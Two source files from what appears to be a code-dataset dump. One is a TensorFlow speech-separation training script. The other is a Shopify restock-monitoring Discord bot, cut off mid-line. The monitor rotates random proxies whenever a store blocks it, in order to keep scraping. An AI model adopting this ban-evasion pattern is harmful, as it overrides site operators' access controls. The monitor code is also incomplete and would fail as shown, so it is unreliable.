dst[k] += v\n\n\ndef _dict_mul(di, coeff):\n for k,v in di.items():\n di[k] = v * coeff\n\n\ndef _dict_format(di):\n return ' '.join('='.join((k, str(v))) for k,v in di.items())\n\n\nclass Model(object):\n '''\n Base class for a fully trainable model\n\n Should be singleton\n '''\n def __init__(self, name='BaseModel'):\n self.name = name\n self.s_states_di = {}\n self.v_learn_rate = tf.Variable(\n hparams.LR,\n trainable=False,\n dtype=hparams.FLOATX,\n name='learn_rate')\n\n def lyr_lstm(\n self, name, s_x, hdim,\n axis=-1, t_axis=0,\n op_linear=ops.lyr_linear,\n w_init=None, b_init=None):\n '''\n Args:\n name: string\n s_x: input tensor\n hdim: size of hidden layer\n axis: which axis will RNN op get performed on\n t_axis: which axis would be the timeframe\n op_rnn: RNN layer function, defaults to ops.lyr_lstm\n '''\n x_shp = s_x.get_shape().as_list()\n ndim = len(x_shp)\n assert -ndim <= axis < ndim\n assert -ndim <= t_axis < ndim\n axis = axis % ndim\n t_axis = t_axis % ndim\n assert axis != t_axis\n # make sure t_axis is 0, to make scan work\n perm = []\n if t_axis != 0:\n if axis == 0:\n axis = t_axis % ndim\n perm = list(range(ndim))\n perm[0], perm[t_axis] = perm[t_axis], perm[0]\n s_x = tf.transpose(s_x, perm)\n x_shp[t_axis], x_shp[0] = x_shp[0], x_shp[t_axis]\n idim = x_shp[axis]\n assert isinstance(idim, int)\n h_shp = copy.copy(x_shp[1:])\n h_shp[axis-1] = hdim\n with tf.variable_scope(name):\n zero_init = tf.constant_initializer(0.)\n v_cell = tf.get_variable(\n dtype=hparams.FLOATX,\n shape=h_shp, name='cell',\n trainable=False,\n initializer=zero_init)\n v_hid = tf.get_variable(\n dtype=hparams.FLOATX,\n shape=h_shp, name='hid',\n trainable=False,\n initializer=zero_init)\n self.s_states_di[v_cell.name] = v_cell\n self.s_states_di[v_hid.name] = v_hid\n\n op_lstm = lambda _h, _x: ops.lyr_lstm_flat(\n name='LSTM',\n s_x=_x, v_cell=_h[0], v_hid=_h[1],\n axis=axis-1, op_linear=op_linear,\n w_init=w_init, b_init=b_init)\n s_cell_seq, s_hid_seq = tf.scan(\n op_lstm, s_x, initializer=(v_cell, v_hid))\n return s_hid_seq if t_axis == 0 else tf.transpose(s_hid_seq, perm)\n\n def lyr_gru(\n self, name, s_x, hdim,\n axis=-1, t_axis=0, op_linear=ops.lyr_linear):\n '''\n Args:\n name: string\n s_x: input tensor\n hdim: size of hidden layer\n axis: which axis will RNN op get performed on\n t_axis: which axis would be the timeframe\n op_rnn: RNN layer function, defaults to ops.lyr_gru\n '''\n x_shp = s_x.get_shape().as_list()\n ndim = len(x_shp)\n assert -ndim <= axis < ndim\n assert -ndim <= t_axis < ndim\n axis = axis % ndim\n t_axis = t_axis % ndim\n assert axis != t_axis\n # make sure t_axis is 0, to make scan work\n perm = []\n if t_axis != 0:\n if axis == 0:\n axis = t_axis % ndim\n perm = list(range(ndim))\n perm[0], perm[t_axis] = perm[t_axis], perm[0]\n s_x = tf.transpose(s_x, perm)\n x_shp[t_axis], x_shp[0] = x_shp[0], x_shp[t_axis]\n idim = x_shp[axis]\n assert isinstance(idim, int)\n h_shp = copy.copy(x_shp[1:])\n h_shp[axis-1] = hdim\n with tf.variable_scope(name):\n zero_init = tf.constant_initializer(0.)\n v_cell = tf.get_variable(\n dtype=hparams.FLOATX,\n shape=h_shp, name='cell',\n trainable=False,\n initializer=zero_init)\n self.s_states_di[v_cell.name] = v_cell\n\n init_range = 0.1 / sqrt(hdim)\n op_gru = lambda _h, _x: ops.lyr_gru_flat(\n 'GRU', _x, _h[0],\n axis=axis-1, op_linear=op_linear,\n w_init=tf.random_uniform_initializer(\n -init_range, init_range, dtype=hparams.FLOATX))\n s_cell_seq, = tf.scan(\n op_gru, s_x, initializer=(v_cell,))\n return s_cell_seq if t_axis == 0 else tf.transpose(s_cell_seq, perm)\n\n def set_learn_rate(self, lr):\n global g_sess\n g_sess.run(tf.assign(self.v_learn_rate, lr))\n\n def get_learn_rate(self):\n return g_sess.run(self.v_learn_rate)\n\n def save_params(self, filename, step=None):\n global g_sess\n save_dir = os.path.dirname(os.path.abspath(filename))\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n self.saver.save(g_sess,\n filename,\n global_step=step)\n\n def load_params(self, filename):\n # if not os.path.exists(filename):\n # stdout.write('Parameter file \"%s\" does not exist\\n' % filename)\n # return False\n self.saver.restore(g_sess, filename)\n return True\n\n def build(self):\n # create sub-modules\n encoder = hparams.get_encoder()(\n self, 'encoder')\n # ===================\n # build the model\n\n input_shape = [\n hparams.BATCH_SIZE,\n hparams.MAX_N_SIGNAL,\n None,\n hparams.FEATURE_SIZE]\n\n s_src_signals = tf.placeholder(\n hparams.COMPLEXX,\n input_shape,\n name='source_signal')\n s_dropout_keep = tf.placeholder(\n hparams.FLOATX,\n [], name='dropout_keep')\n reger = hparams.get_regularizer()\n with tf.variable_scope('global', regularizer=reger):\n # TODO add mixing coeff ?\n\n # get mixed signal\n s_mixed_signals = tf.reduce_sum(\n s_src_signals, axis=1)\n\n s_src_signals_pwr = tf.abs(s_src_signals)\n s_mixed_signals_phase = tf.atan2(\n tf.imag(s_mixed_signals), tf.real(s_mixed_signals))\n s_mixed_signals_power = tf.abs(s_mixed_signals)\n s_mixed_signals_log = tf.log1p(s_mixed_signals_power)\n # int[B, T, F]\n # float[B, T, F, E]\n s_embed = encoder(s_mixed_signals_log)\n s_embed_flat = tf.reshape(\n s_embed,\n [hparams.BATCH_SIZE, -1, hparams.EMBED_SIZE])\n\n # TODO make attractor estimator a submodule ?\n estimator = hparams.get_estimator(\n hparams.TRAIN_ESTIMATOR_METHOD)(self, 'train_estimator')\n s_attractors = estimator(\n s_embed,\n s_src_pwr=s_src_signals_pwr,\n s_mix_pwr=s_mixed_signals_power)\n\n using_same_method = (\n hparams.INFER_ESTIMATOR_METHOD ==\n hparams.TRAIN_ESTIMATOR_METHOD)\n\n if using_same_method:\n s_valid_attractors = s_attractors\n else:\n valid_estimator = hparams.get_estimator(\n hparams.INFER_ESTIMATOR_METHOD\n )(self, 'infer_estimator')\n assert not valid_estimator.USE_TRUTH\n s_valid_attractors = valid_estimator(s_embed)\n\n separator = hparams.get_separator(\n hparams.SEPARATOR_TYPE)(self, 'separator')\n s_separated_signals_pwr = separator(\n s_mixed_signals_power, s_attractors, s_embed_flat)\n\n if using_same_method:\n s_separated_signals_pwr_valid = s_separated_signals_pwr\n else:\n s_separated_signals_pwr_valid = separator(\n s_mixed_signals_power, s_valid_attractors, s_embed_flat)\n\n # use mixture phase and estimated power to get separated signal\n s_mixed_signals_phase = tf.expand_dims(s_mixed_signals_phase, 1)\n s_separated_signals = tf.complex(\n tf.cos(s_mixed_signals_phase) * s_separated_signals_pwr,\n tf.sin(s_mixed_signals_phase) * s_separated_signals_pwr)\n\n # loss and SNR for training\n # s_train_loss, v_perms, s_perm_sets = ops.pit_mse_loss(\n # s_src_signals_pwr, s_separated_signals_pwr)\n s_train_loss, v_perms, s_perm_sets = ops.pit_mse_loss(\n s_src_signals, s_separated_signals)\n\n # resolve permutation\n s_perm_idxs = tf.stack([\n tf.tile(\n tf.expand_dims(tf.range(hparams.BATCH_SIZE), 1),\n [1, hparams.MAX_N_SIGNAL]),\n tf.gather(v_perms, s_perm_sets)], axis=2)\n s_perm_idxs = tf.reshape(\n s_perm_idxs, [hparams.BATCH_SIZE*hparams.MAX_N_SIGNAL, 2])\n s_separated_signals = tf.gather_nd(\n s_separated_signals, s_perm_idxs)\n s_separated_signals = tf.reshape(\n s_separated_signals, [\n hparams.BATCH_SIZE,\n hparams.MAX_N_SIGNAL,\n -1, hparams.FEATURE_SIZE])\n\n s_train_snr = tf.reduce_mean(ops.batch_snr(\n s_src_signals, s_separated_signals))\n\n # ^ for validation / inference\n s_valid_loss, v_perms, s_perm_sets = ops.pit_mse_loss(\n s_src_signals_pwr, s_separated_signals_pwr_valid)\n s_perm_idxs = tf.stack([\n tf.tile(\n tf.expand_dims(tf.range(hparams.BATCH_SIZE), 1),\n [1, hparams.MAX_N_SIGNAL]),\n tf.gather(v_perms, s_perm_sets)],\n axis=2)\n s_perm_idxs = tf.reshape(\n s_perm_idxs, [hparams.BATCH_SIZE*hparams.MAX_N_SIGNAL, 2])\n s_separated_signals_pwr_valid_pit = tf.gather_nd(\n s_separated_signals_pwr_valid, s_perm_idxs)\n s_separated_signals_pwr_valid_pit = tf.reshape(\n s_separated_signals_pwr_valid_pit, [\n hparams.BATCH_SIZE,\n hparams.MAX_N_SIGNAL,\n -1, hparams.FEATURE_SIZE])\n\n s_separated_signals_valid = tf.complex(\n tf.cos(s_mixed_signals_phase) * s_separated_signals_pwr_valid_pit,\n tf.sin(s_mixed_signals_phase) * s_separated_signals_pwr_valid_pit)\n s_separated_signals_infer = tf.complex(\n tf.cos(s_mixed_signals_phase) * s_separated_signals_pwr_valid,\n tf.sin(s_mixed_signals_phase) * s_separated_signals_pwr_valid)\n s_valid_snr = tf.reduce_mean(ops.batch_snr(\n s_src_signals, s_separated_signals_valid))\n\n\n # ===============\n # prepare summary\n # TODO add impl & summary for word error rate\n with tf.name_scope('train_summary'):\n s_loss_summary_t = tf.summary.scalar('loss', s_train_loss)\n s_snr_summary_t = tf.summary.scalar('SNR', s_train_snr)\n s_lr_summary_t = tf.summary.scalar('LR', self.v_learn_rate)\n\n with tf.name_scope('valid_summary'):\n s_loss_summary_v = tf.summary.scalar('loss', s_valid_loss)\n s_snr_summary_v = tf.summary.scalar('SNR', s_valid_snr)\n s_lr_summary_v = tf.summary.scalar('LR', self.v_learn_rate)\n\n # apply optimizer\n ozer = hparams.get_optimizer()(\n learn_rate=self.v_learn_rate, lr_decay=hparams.LR_DECAY)\n\n v_params_li = tf.trainable_variables()\n r_apply_grads = ozer.compute_gradients(s_train_loss, v_params_li)\n if hparams.GRAD_CLIP_THRES is not None:\n r_apply_grads = [(tf.clip_by_value(\n g, -hparams.GRAD_CLIP_THRES, hparams.GRAD_CLIP_THRES), v)\n for g, v in r_apply_grads if g is not None]\n self.op_sgd_step = ozer.apply_gradients(r_apply_grads)\n\n self.op_init_params = tf.variables_initializer(v_params_li)\n self.op_init_states = tf.variables_initializer(\n list(self.s_states_di.values()))\n\n self.train_feed_keys = [\n s_src_signals, s_dropout_keep]\n train_summary = tf.summary.merge(\n [s_loss_summary_t, s_snr_summary_t, s_lr_summary_t])\n self.train_fetches = [\n train_summary,\n dict(loss=s_train_loss, SNR=s_train_snr, LR=self.v_learn_rate),\n self.op_sgd_step]\n\n self.valid_feed_keys = self.train_feed_keys\n valid_summary = tf.summary.merge([s_loss_summary_v, s_snr_summary_v, s_lr_summary_v])\n self.valid_fetches = [\n valid_summary,\n dict(loss=s_valid_loss, SNR=s_valid_snr)]\n\n self.infer_feed_keys = [s_mixed_signals, s_dropout_keep]\n self.infer_fetches = dict(signals=s_separated_signals_infer)\n\n if hparams.DEBUG:\n self.debug_feed_keys = [s_src_signals, s_dropout_keep]\n self.debug_fetches = dict(\n embed=s_embed,\n attrs=s_attractors,\n input=s_src_signals,\n output=s_separated_signals)\n self.debug_fetches.update(encoder.debug_fetches)\n self.debug_fetches.update(separator.debug_fetches)\n if estimator is not None:\n self.debug_fetches.update(estimator.debug_fetches)\n\n self.saver = tf.train.Saver(var_list=v_params_li)\n\n\n def train(self, n_epoch, dataset):\n global g_args\n train_writer = tf.summary.FileWriter(os.path.join(hparams.SUMMARY_DIR, str(datetime.datetime.now().strftime(\"%m%d_%H%M%S\")) + ' ' + hparams.SUMMARY_TITLE), g_sess.graph)\n best_loss = float('+inf')\n best_loss_time = 0\n self.set_learn_rate(hparams.LR)\n print('Set learning rate to %f' % hparams.LR)\n train_step = 0\n valid_step = 0\n for i_epoch in range(n_epoch):\n cli_report = OrderedDict()\n i_batch=0\n for i_batch, data_pt in enumerate(dataset.epoch(\n 'train',\n hparams.BATCH_SIZE * hparams.MAX_N_SIGNAL, shuffle=True)):\n spectra = np.reshape(\n data_pt[0], [\n hparams.BATCH_SIZE,\n hparams.MAX_N_SIGNAL,\n -1, hparams.FEATURE_SIZE])\n if hparams.MAX_TRAIN_LEN is not None:\n if spectra.shape[2] > hparams.MAX_TRAIN_LEN:\n beg = randint(\n 0, spectra.shape[2] - hparams.MAX_TRAIN_LEN-1)\n spectra = spectra[:, :, beg:beg+hparams.MAX_TRAIN_LEN]\n to_feed = dict(\n zip(self.train_feed_keys, (\n spectra, hparams.DROPOUT_KEEP_PROB)))\n step_summary, step_fetch = g_sess.run(\n self.train_fetches, to_feed)[:2]\n self.reset_state()\n train_writer.add_summary(step_summary, train_step)\n train_step += 1\n stdout.write(':')\n stdout.flush()\n _dict_add(cli_report, step_fetch)\n _dict_mul(cli_report, 1. / (i_batch+1))\n if hparams.LR_DECAY_TYPE == 'adaptive':\n if cli_report['loss'] < best_loss:\n best_loss = cli_report['loss']\n best_loss_time = 0\n else:\n best_loss_time += 1\n elif hparams.LR_DECAY_TYPE == 'fixed':\n best_loss_time += 1\n elif hparams.LR_DECAY_TYPE is None:\n pass\n else:\n raise ValueError(\n 'Unknown LR_DECAY_TYPE \"%s\"' % hparams.LR_DECAY_TYPE)\n\n if best_loss_time == hparams.NUM_EPOCH_PER_LR_DECAY:\n best_loss_time = 0\n old_lr = self.get_learn_rate()\n new_lr = old_lr * hparams.LR_DECAY\n self.set_learn_rate(new_lr)\n stdout.write('[LR %f -> %f]' % (old_lr, new_lr))\n stdout.flush()\n\n if not g_args.no_save_on_epoch:\n if any(map(isnan, cli_report.values())):\n if i_epoch:\n stdout.write(\n '\\nEpoch %d/%d got NAN values, restoring last checkpoint ... ')\n stdout.flush()\n i_epoch -= 1\n # FIXME: this path don't work windows\n self.load_params(\n 'saves/' + self.name + ('_e%d' % (i_epoch+1)))\n stdout.write('done')\n stdout.flush()\n continue\n else:\n stdout.write('\\nRun into NAN during 1st epoch, exiting ...')\n sys.exit(-1)\n self.save_params('saves/' + self.name + ('_e%d' % (i_epoch+1)))\n stdout.write('S')\n stdout.write('\\nEpoch %d/%d %s\\n' % (\n i_epoch+1, n_epoch, _dict_format(cli_report)))\n stdout.flush()\n if g_args.no_valid_on_epoch:\n continue\n cli_report = OrderedDict()\n i_batch = 0\n for i_batch, data_pt in enumerate(dataset.epoch(\n 'valid',\n hparams.BATCH_SIZE * hparams.MAX_N_SIGNAL,\n shuffle=False)):\n # note: this disables dropout during validation\n to_feed = dict(\n zip(self.train_feed_keys, (\n np.reshape(\n data_pt[0], [\n hparams.BATCH_SIZE,\n hparams.MAX_N_SIGNAL,\n -1, hparams.FEATURE_SIZE]),\n 1.)))\n step_summary, step_fetch = g_sess.run(\n self.valid_fetches, to_feed)[:2]\n self.reset_state()\n train_writer.add_summary(step_summary, valid_step)\n valid_step+=1\n stdout.write('.')\n stdout.flush()\n _dict_add(cli_report, step_fetch)\n _dict_mul(cli_report, 1. / (i_batch+1))\n stdout.write('\\nValid %d/%d %s\\n' % (\n i_epoch+1, n_epoch, _dict_format(cli_report)))\n stdout.flush()\n\n def test(self, dataset, subset='test', name='Test'):\n global g_args\n train_writer = tf.summary.FileWriter(\n os.path.join(hparams.SUMMARY_DIR,\n str(datetime.datetime.now().strftime(\"%m%d_%H%M%S\")) + ' ' + hparams.SUMMARY_TITLE), g_sess.graph)\n cli_report = {}\n for data_pt in dataset.epoch(\n subset, hparams.BATCH_SIZE * hparams.MAX_N_SIGNAL):\n # note: this disables dropout during test\n to_feed = dict(\n zip(self.train_feed_keys, (\n np.reshape(data_pt[0], [hparams.BATCH_SIZE, hparams.MAX_N_SIGNAL, -1, hparams.FEATURE_SIZE]),\n 1.)))\n step_summary, step_fetch = g_sess.run(\n self.valid_fetches, to_feed)[:2]\n train_writer.add_summary(step_summary)\n stdout.write('.')\n stdout.flush()\n _dict_add(cli_report, step_fetch)\n stdout.write(name + ': %s\\n' % (\n _dict_format(cli_report)))\n\n def reset(self):\n '''re-initialize parameters, resets timestep'''\n g_sess.run(tf.global_variables_initializer())\n\n def reset_state(self):\n '''reset RNN states'''\n g_sess.run([self.op_init_states])\n\n def parameter_count(self):\n '''\n Returns: integer\n '''\n v_vars_li = tf.trainable_variables()\n return sum(\n reduce(int.__mul__, v.get_shape().as_list()) for v in v_vars_li)\n\n\ndef main():\n global g_args, g_model, g_dataset\n parser = argparse.ArgumentParser()\n parser.add_argument('-n', '--name',\n default='UnnamedExperiment',\n help='name of experiment, affects checkpoint saves')\n parser.add_argument('-m', '--mode',\n default='train', help='Mode, \"train\", \"valid\", \"test\", \"demo\" or \"interactive\"')\n parser.add_argument('-i', '--input-pfile',\n help='path to input model parameter file')\n parser.add_argument('-o', '--output-pfile',\n help='path to output model parameters file')\n parser.add_argument('-c', '--hparams-file',\n help='path to hyperparameters (or config) file')\n parser.add_argument('-ne', '--num-epoch',\n type=int, default=10, help='number of training epoch')\n parser.add_argument('--no-save-on-epoch',\n action='store_true', help=\"don't save parameter after each epoch\")\n parser.add_argument('--no-valid-on-epoch',\n action='store_true',\n help=\"don't sweep validation set after training epoch\")\n parser.add_argument('-if', '--input-file',\n help='input WAV file for \"demo\" mode')\n parser.add_argument('-ds', '--dataset',\n help='choose dataset to use, overrides hparams.DATASET_TYPE')\n parser.add_argument('-lr', '--learn-rate',\n help='Learn rate, overrides hparams.LR')\n parser.add_argument('-tl', '--train-length',\n help='segment length during training, overrides hparams.MAX_TRAIN_LEN')\n parser.add_argument('-bs', '--batch-size',\n help='set batch size, overrides hparams.BATCH_SIZE')\n g_args = parser.parse_args()\n\n # TODO manage device\n\n # load hparams from default JSON file\n hparams.load_json('default.json')\n\n # override hparams from custom JSON file\n if g_args.hparams_file is not None:\n hparams.load_json(g_args.hparams_file)\n\n # override hparams from CLI arguments\n if g_args.learn_rate is not None:\n hparams.LR = float(g_args.learn_rate)\n assert hparams.LR >= 0.\n if g_args.train_length is not None:\n hparams.MAX_TRAIN_LEN = int(g_args.train_length)\n assert hparams.MAX_TRAIN_LEN >= 2\n if g_args.dataset is not None:\n hparams.DATASET_TYPE = g_args.dataset\n if g_args.batch_size is not None:\n hparams.BATCH_SIZE = int(g_args.batch_size)\n assert hparams.BATCH_SIZE > 0\n\n hparams.digest()\n\n stdout.write('Preparing dataset \"%s\" ... ' % hparams.DATASET_TYPE)\n stdout.flush()\n g_dataset = hparams.get_dataset()()\n g_dataset.install_and_load()\n stdout.write('done\\n')\n stdout.flush()\n\n print('Encoder type: \"%s\"' % hparams.ENCODER_TYPE)\n print('Separator type: \"%s\"' % hparams.SEPARATOR_TYPE)\n print('Training estimator type: \"%s\"' % hparams.TRAIN_ESTIMATOR_METHOD)\n print('Inference estimator type: \"%s\"' % hparams.INFER_ESTIMATOR_METHOD)\n\n stdout.write('Building model ... ')\n stdout.flush()\n g_model = Model(name=g_args.name)\n if g_args.mode in ['demo', 'debug']:\n hparams.BATCH_SIZE = 1\n print(\n '\\n Warning: setting hparams.BATCH_SIZE to 1 for \"demo\" mode'\n '\\n... ', end='')\n if g_args.mode == 'debug':\n hparams.DEBUG = True\n g_model.build()\n stdout.write('done\\n')\n\n g_model.reset()\n if g_args.input_pfile is not None:\n stdout.write('Loading paramters from %s ... ' % g_args.input_pfile)\n g_model.load_params(g_args.input_pfile)\n stdout.write('done\\n')\n stdout.flush()\n\n if g_args.mode == 'interactive':\n print('Now in interactive mode, you should run this with python -i')\n return\n elif g_args.mode == 'train':\n g_model.train(n_epoch=g_args.num_epoch, dataset=g_dataset)\n if g_args.output_pfile is not None:\n stdout.write('Saving parameters into %s ... ' % g_args.output_pfile)\n stdout.flush()\n g_model.save_params(g_args.output_pfile)\n stdout.write('done\\n')\n stdout.flush()\n elif g_args.mode == 'test':\n g_model.test(g_dataset)\n elif g_args.mode == 'valid':\n g_model.test(g_dataset, 'valid', 'Valid')\n elif g_args.mode == 'demo':\n # prepare data point\n colors = np.asarray([\n hsv_to_rgb(h, .95, .98)\n for h in np.arange(\n hparams.MAX_N_SIGNAL, dtype=np.float32\n ) / hparams.MAX_N_SIGNAL])\n if g_args.input_file is None:\n filename = 'demo.wav'\n src_signals=[]\n for src_signals in g_dataset.epoch('test', hparams.MAX_N_SIGNAL):\n break\n max_len = max(map(len, src_signals[0]))\n max_len += (-max_len) % hparams.LENGTH_ALIGN\n src_signals_li = [\n utils.random_zeropad(x, max_len-len(x), axis=-2)\n for x in src_signals[0]]\n src_signals = np.stack(src_signals_li)\n raw_mixture = np.sum(src_signals, axis=0)\n utils.save_wavfile(filename, raw_mixture)\n true_mixture = np.log1p(np.abs(src_signals))\n true_mixture = - np.einsum(\n 'nwh,nc->whc', true_mixture, colors)\n true_mixture /= np.min(true_mixture)\n else:\n filename = g_args.input_file\n raw_mixture = utils.load_wavfile(g_args.input_file)\n true_mixture = np.log1p(np.abs(raw_mixture))\n\n # run with inference mode and save results\n data_pt = (np.expand_dims(raw_mixture, 0),)\n result = g_sess.run(\n g_model.infer_fetches,\n dict(zip(\n g_model.infer_feed_keys,\n data_pt + (hparams.DROPOUT_KEEP_PROB,))))\n signals = result['signals'][0]\n filename, fileext = os.path.splitext(filename)\n for i, s in enumerate(signals):\n utils.save_wavfile(\n filename + ('_separated_%d' % (i+1)) + fileext, s)\n\n # visualize result\n if 'DISPLAY' not in os.environ:\n print('Warning: no display found, not generating plot')\n return\n\n import matplotlib.pyplot as plt\n signals = np.log1p(np.abs(signals))\n signals = - np.einsum(\n 'nwh,nc->nwhc', signals, colors)\n signals /= np.min(signals)\n for i, s in enumerate(signals):\n plt.subplot(1, len(signals)+2, i+1)\n plt.imshow(np.log1p(np.abs(s)))\n fake_mixture = 0.9 * np.sum(signals, axis=0)\n # fake_mixture /= np.max(fake_mixture)\n plt.subplot(1, len(signals)+2, len(signals)+1)\n plt.imshow(fake_mixture)\n plt.subplot(1, len(signals)+2, len(signals)+2)\n plt.imshow(true_mixture)\n plt.show()\n elif g_args.mode == 'debug':\n import matplotlib.pyplot as plt\n input_=[]\n for input_ in g_dataset.epoch(\n 'test', hparams.MAX_N_SIGNAL, shuffle=True):\n break\n max_len = max(map(len, input_[0]))\n max_len += (-max_len) % hparams.LENGTH_ALIGN\n input_li = [\n utils.random_zeropad(x, max_len-len(x), axis=-2)\n for x in input_[0]]\n input_ = np.expand_dims(np.stack(input_li), 0)\n data_pt = (input_,)\n debug_data = g_sess.run(\n g_model.debug_fetches,\n dict(zip(\n g_model.debug_feed_keys,\n data_pt + (1.,))))\n debug_data['input'] = input_\n scipy.io.savemat('debug/debug_data.mat', debug_data)\n print('Debug data written to debug/debug_data.mat')\n else:\n raise ValueError(\n 'Unknown mode \"%s\"' % g_args.mode)\n\n\ndef debug_test():\n stdout.write('Building model ... ')\n g_model = Model()\n g_model.build()\n stdout.write('done')\n stdout.flush()\n g_model.reset()\n\n\nif __name__ == '__main__':\n main()\n # debug_test()\n","repo_name":"khaotik/DaNet-Tensorflow","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":28904,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"53"}
+{"seq_id":"11974982927","text":"\n# Dependencies used\nfrom concurrent.futures.thread import ThreadPoolExecutor\nfrom discord.embeds import Embed\nfrom discord_webhook import DiscordWebhook, DiscordEmbed\nimport requests\nfrom favicon import get as getFavicon\nimport json\n#import threading\nimport psutil\nfrom multiprocessing import Process, process\nimport asyncio\nfrom time import sleep, perf_counter\n#from time import perf_counter #Testing and benchmarking reasons\nfrom random import randint\n#from itertools import cycle\nfrom discord.ext import commands, tasks\nprocess_list = {}\n#Discord Bot Information\nTOKEN = \"\"\nbot = commands.Bot(command_prefix=\"!\")\n\n# Proxies set up\nsession = requests.session()\nproxieslist = []\n#session.proxies = {\"https\":next(proxieslist)}\n\n\n# Secondary functions\ndef save_file(file, out_object):\n with open(file, \"w\") as f:\n json.dump(out_object, f, indent=4)\ndef open_file(file):\n with open(str(file), \"r\") as f:\n data = json.load(f) \n return data\n\n#Function in charge to send alerts\ndef send_alert(store, index, obj, variant, mode=\"Restock\"):\n #ChannelID where the alert is going to be sent + storeURL\n channelID = str(store[store.find(\"|\")+1:len(store)])\n \n webhook = DiscordWebhook(url=channelID)\n storeURL = store[0:store.find(\"|\")]\n #alerts_channel = asyncio.run(bot.fetch_channel(channelID))\n productname = obj[index]['title']\n producturl = storeURL.replace(\".json\", \"/\" + obj[index]['handle'])\n price = obj[index]['variants'][0]['price']\n print(producturl)\n #Embed set-up for the alert\n embedVar = DiscordEmbed(title=productname, url=producturl)\n embedVar.add_embed_field(name=\"Type\", value=mode)\n embedVar.add_embed_field(name=\"Price\", value=price)\n embedVar.add_embed_field(name=\"Store\", value=storeURL.replace(\"/products.json\", \"\"))\n surl = storeURL.replace(\"/products.json\", \"\")\n embedVar.add_embed_field(name=\"Variant\", value=variant)\n embedVar.add_embed_field(name=\"ATC\", value=f\"{surl}/cart/{variant}:1\")\n #In case the profuct has an image, add it\n try:\n image = obj[index]['images'][0]['src'].replace(\"\\\\\", \"\")\n embedVar.set_thumbnail(url=image)\n except Exception:\n pass\n\n webhook.add_embed(embedVar)\n webhook.execute()\n\n\n#@tasks.loop(5)\nasync def hello():\n global process_list\n while True:\n for proc in process_list:\n print(process_list[proc])\n process_list[proc].stop()\n process_list[proc].start()\n await asyncio.sleep(5)\n\n#A command to check if the bot is alive\n@bot.command()\nasync def rm(ctx, index=None):\n if index == None:\n out = \"\"\n if len(list(process_list)) > 1:\n for index, storename in enumerate(list(process_list)):\n out += f\"{index}. {storename} \\n\"\n else:\n out = \"No tasks running\"\n elif int(index) <= len(list(process_list))-1:\n index = int(index)\n item = list(process_list)[index]\n psutil.Process(process_list[item].pid).kill()\n process_list.pop(item)\n f = open_file(\"stores.json\")\n for store in f[\"start\"]:\n if item in store:\n f[\"start\"].remove(store)\n out = \"Done\"\n save_file(\"stores.json\", f)\n \n await ctx.send(out)\n@bot.command()\nasync def stoptasks(ctx):\n for key in process_list:\n psutil.Process(process_list[key].pid).kill()\n await ctx.send(f\"{len(process_list)} Has been stopped \\n {process_list}\")\n \n\n@bot.command()\nasync def awake(ctx):\n\tawait ctx.send(\"I'm running!\")\n\n\n#The monitor logic\n#@tasks.loop(seconds=10.0)\ndef monitor(store):\n tries = 0\n banned = []\n session = requests.session()\n proxieslist = []\n rand = randint(0, len(proxieslist) - 1)\n session.proxies = {\"https\":proxieslist[rand]}\n #Iterating over every store\n url = store[0:store.find(\"|\")]\n #If the access is blocked, just change the proxy\n currentProducts = 0\n while True:\n try:\n currentProducts = json.loads(session.get(url).text)[\"products\"]\n break\n except Exception:\n rand = randint(0, len(proxieslist) - 1)\n currentProducts = 0\n session.proxies = {\"https\":proxieslist[rand]}\n print(\"Reach info exception\", store)\n #print(\"Problem!!\")\n \n d = {}\n d[store] = currentProducts\n save_file(store.replace(\"/\", \"-\") + \".json\", d)\n\n while True:\n rand = randint(0, len(proxieslist) - 1)\n start = perf_counter()\n\n# while rand in banned:\n# print(\"-----------------------\"+str(rand) + \"Is already banned ---------------------------\")\n# rand = randint(0, len(proxieslist) - 1)\n session.proxies = {\"https\":proxieslist[rand]}\n \n\n #print(\"Current Proxy IP: \"+session.get(\"https://jsonip.com/\").json()[\"ip\"])\n stores = open_file(store.replace(\"/\", \"-\")+\".json\")\n #Iterating over every store\n url = store[0:store.find(\"|\")]\n print(\"Analizing store: \" + url)\n #If the access is blocked, just change the proxy\n currentProducts = 0\n while currentProducts == 0:\n try:\n currentProducts = json.loads(session.get(url, timeout=10).text)[\"products\"]\n print(\"Done\")\n except Exception:\n currentProducts = 0\n if rand not in banned:\n #print(str(rand) + \"Added to the banned list\")\n banned.append(rand)\n rand = randint(0, len(proxieslist) - 1)\n session.proxies = {\"https\":proxieslist[rand]}\n #print(\"Problem!!\")\n\n print(\"Reach info exception\", store)\n #print(session.proxies)\n #print(\"Changing IP to: \"+session.get(\"https://jsonip.com/\").json()[\"ip\"])c\n \n\t #Analizing the information\n if stores[store] == currentProducts:\n # Nothing changed in the store, no alerts\n pass\n else:\n # print(\"The store's database changed!! Checking for possible restocks..\")\n for index, newProduct in enumerate(currentProducts):\n foundobj = False\n # Re-stock check\n if newProduct not in stores[store]:\n for oldProduct in stores[store]:\n #Check if the product already was in the database\n if newProduct[\"id\"] == oldProduct[\"id\"]:\n foundobj = True\n if len(newProduct[\"variants\"]) > len(oldProduct[\"variants\"]):\n #New Variant code UNUSED\n \n for variant in newProduct['variants']:\n try:\n oldProduct['variants'].remove(variant)\n except Exception:\n send_alert(store, index, currentProducts, variant['id'], mode=\"New Variant\")\n print(f\"{newProduct['title']} restocked NEW VARIANT\")\n else:\n #Iterating over new and old products\n for oldVariant in oldProduct[\"variants\"]: \n for newVariant in newProduct[\"variants\"]:\n # Check if it found the correct variant\n if oldVariant[\"id\"] == newVariant[\"id\"]:\n #The re-stock check\n if oldVariant[\"available\"] == False and newVariant[\"available\"] == True:\n # The item was restocked, call the alerts function\n \n send_alert(store, index, currentProducts, newVariant['id'])\n print(f\"{newProduct['title']} restocked\")\n # elif oldVariant[\"available\"] == True and newVariant[\"available\"] == True and oldVariant[\"updated_at\"] != newVariant[\"updated_at\"]:\n # send_alert(store, index, currentProducts, newVariant['id'], mode=\"Date Changed\")\n #break\n # If the product wasn't found on the old database, means that it is a new product\n if foundobj == False:\n for newVariant in newProduct[\"variants\"]:\n if newVariant[\"available\"] == True:\n # Send an alert of a new product\n \n send_alert(store, index, currentProducts, newVariant['id'], mode=\"Add\")\n #asyncio.run(send_alert(store, index, currentProducts, newVariant['id'], mode=\"Add\"))\n print(f\"{newProduct['title']} has been added\")\n #break\n #Updating the database\n stores[store] = currentProducts\n save_file(store.replace(\"/\",\"-\") + 